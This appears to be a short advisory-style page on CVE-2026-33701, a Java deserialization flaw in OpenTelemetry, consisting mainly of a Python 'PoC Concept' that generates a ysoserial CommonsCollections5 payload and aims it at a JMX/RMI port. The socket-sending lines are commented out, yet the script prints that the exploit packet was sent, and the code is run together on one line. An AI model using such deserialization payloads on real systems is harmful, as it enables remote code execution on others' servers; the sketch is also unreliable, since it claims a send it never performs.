CVE-2026-33701 OpenTelemetry Java反序列化漏洞

# PoC Concept: Send malicious payload to RMI port import socket import subprocess # Generate payload using ysoserial (e.g., CommonsCollections5) # java -jar ysoserial.jar CommonsCollections5 'calc.exe' > payload.bin TARGET_HOST = 'target-ip' TARGET_PORT = 'jmx-port' # e.g., 9010 with open('payload.bin', 'rb') as f: payload = f.read() print(f"[*] Sending payload to {TARGET_HOST}:{TARGET_PORT}") # Note: Actual RMI protocol exploitation requires specific packet structure (e.g., using rmiploit or ysoserial's RMI registry module) # This is a simplified representation of the attack flow. # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((TARGET_HOST, int(TARGET_PORT))) # sock.send(payload) # sock.close() print('[*] Exploit packet sent.')